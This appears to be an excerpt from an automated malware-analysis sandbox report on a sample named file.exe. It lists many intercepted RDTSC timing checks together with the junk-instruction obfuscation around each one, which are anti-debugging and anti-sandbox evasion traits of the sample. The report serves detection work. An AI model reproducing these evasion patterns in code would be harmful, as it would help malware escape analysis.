Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7508 second address: 5E750C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E750C second address: 5E751D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F7EC882AED8h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E76A2 second address: 5E76A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E76A6 second address: 5E76D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F7EC882AEE8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E76D3 second address: 5E76D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E77B8 second address: 5E7826 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7EC882AEDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F7EC882AEE1h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007F7EC882AEDAh 0x0000001a pop eax 0x0000001b push ecx 0x0000001c clc 0x0000001d pop edi 0x0000001e lea ebx, dword ptr [ebp+1245D26Ch] 0x00000024 push eax 0x00000025 pop ecx 0x00000026 mov ecx, 3F9AC5CBh 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d jns 00007F7EC882AEDCh 0x00000033 push esi 0x00000034 jl 00007F7EC882AED6h 0x0000003a pop esi 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F7EC882AEDAh 0x00000045 jnp 00007F7EC882AED6h 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609355 second address: 609385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jl 00007F7EC906D1D6h 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 jmp 00007F7EC906D1E8h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8CA3 second address: 5C8CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7EC882AEDCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8CB3 second address: 5C8CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E8h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8CD2 second address: 5C8CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8CD8 second address: 5C8CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F7EC906D1DDh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8CF5 second address: 5C8D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7EC882AEE0h 0x0000000b jmp 00007F7EC882AEE2h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6072DD second address: 6072E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60759F second address: 6075C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEDBh 0x00000009 jnl 00007F7EC882AED6h 0x0000000f popad 0x00000010 js 00007F7EC882AED8h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6075C1 second address: 6075C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6075C5 second address: 6075E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F7EC882AEDEh 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6075E7 second address: 6075EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607865 second address: 60787C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7EC882AEDDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60787C second address: 607880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607880 second address: 607888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A0D second address: 607A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F7EC906D1DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A1B second address: 607A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7EC882AEDBh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A2E second address: 607A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A32 second address: 607A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A43 second address: 607A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007F7EC906D1D6h 0x00000011 pop edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608138 second address: 60813E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608BFE second address: 608C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608D49 second address: 608D68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F7EC882AEE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F7EC882AED6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608D68 second address: 608D6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608D6E second address: 608DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE7h 0x00000007 pushad 0x00000008 jmp 00007F7EC882AEDEh 0x0000000d jmp 00007F7EC882AEE0h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 ja 00007F7EC882AEDCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608F09 second address: 608F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6091E3 second address: 6091E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615A8C second address: 615A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615A92 second address: 615AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 jbe 00007F7EC882AED6h 0x0000000c pop edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615AA2 second address: 615AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jng 00007F7EC906D1E2h 0x0000000d jno 00007F7EC906D1D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615163 second address: 61518B instructions: 0x00000000 rdtsc 0x00000002 je 00007F7EC882AED6h 0x00000008 jl 00007F7EC882AED6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F7EC882AEE2h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61518B second address: 615192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6152C6 second address: 6152D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7EC882AED6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6152D5 second address: 6152F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F7EC906D1D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F46 second address: 616F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 6D619300h 0x0000000d mov si, cx 0x00000010 call 00007F7EC882AED9h 0x00000015 push ebx 0x00000016 jns 00007F7EC882AED8h 0x0000001c pop ebx 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F6F second address: 616F8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F7EC906D1DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F8C second address: 616F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F9A second address: 616F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F9E second address: 616FCD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F7EC882AEE4h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F7EC882AED6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616FCD second address: 616FD3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616FD3 second address: 616FD8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617401 second address: 617405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617405 second address: 617414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617414 second address: 61741A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61741A second address: 61741E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617A57 second address: 617A5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DE7 second address: 617DF8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617DF8 second address: 617DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618039 second address: 618043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618043 second address: 618056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F7EC906D1D6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618056 second address: 618098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F7EC882AED8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 movsx edi, dx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618098 second address: 61809E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185D3 second address: 6185D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185D7 second address: 6185DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6185DD second address: 6185E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618F10 second address: 618F16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618F16 second address: 618F47 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7EC882AEEEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F7EC882AEDCh 0x00000013 jne 00007F7EC882AED6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618F47 second address: 618F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618F51 second address: 618FBC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F7EC882AED8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 pushad 0x00000028 and di, 2567h 0x0000002d mov di, ax 0x00000030 popad 0x00000031 push 00000000h 0x00000033 jmp 00007F7EC882AEE8h 0x00000038 push 00000000h 0x0000003a ja 00007F7EC882AEDCh 0x00000040 push eax 0x00000041 pushad 0x00000042 jc 00007F7EC882AEDCh 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618FBC second address: 618FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7EC906D1E7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A0EF second address: 61A0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B96B second address: 61B971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B62F second address: 61B642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jng 00007F7EC882AED6h 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C53A second address: 61C53F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623325 second address: 623329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623329 second address: 62332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238D6 second address: 6238E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238E3 second address: 6238E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628893 second address: 6288EE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F7EC882AED8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F7EC882AED8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 sub edi, dword ptr [ebp+122D2D08h] 0x00000047 push 00000000h 0x00000049 add dword ptr [ebp+1246F12Bh], eax 0x0000004f push eax 0x00000050 pushad 0x00000051 push ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62982C second address: 629830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629830 second address: 629834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629834 second address: 62987C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F7EC906D1D8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 add di, C1A6h 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f jmp 00007F7EC906D1E2h 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62987C second address: 629888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629888 second address: 629891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623A79 second address: 623B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F7EC882AEDEh 0x0000000c pop esi 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F7EC882AED8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov bl, B1h 0x0000002b sbb di, 4F00h 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov edi, dword ptr [ebp+122D2DD6h] 0x0000003d sub dword ptr [ebp+122D2D4Bh], ecx 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a push 00000000h 0x0000004c push ebx 0x0000004d call 00007F7EC882AED8h 0x00000052 pop ebx 0x00000053 mov dword ptr [esp+04h], ebx 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc ebx 0x00000060 push ebx 0x00000061 ret 0x00000062 pop ebx 0x00000063 ret 0x00000064 mov ebx, dword ptr [ebp+122D29F4h] 0x0000006a mov eax, dword ptr [ebp+122D0BD9h] 0x00000070 xor bx, B596h 0x00000075 push FFFFFFFFh 0x00000077 mov bx, 2D4Fh 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e jnc 00007F7EC882AED8h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627AA0 second address: 627AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6299EB second address: 6299FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC882AEDDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
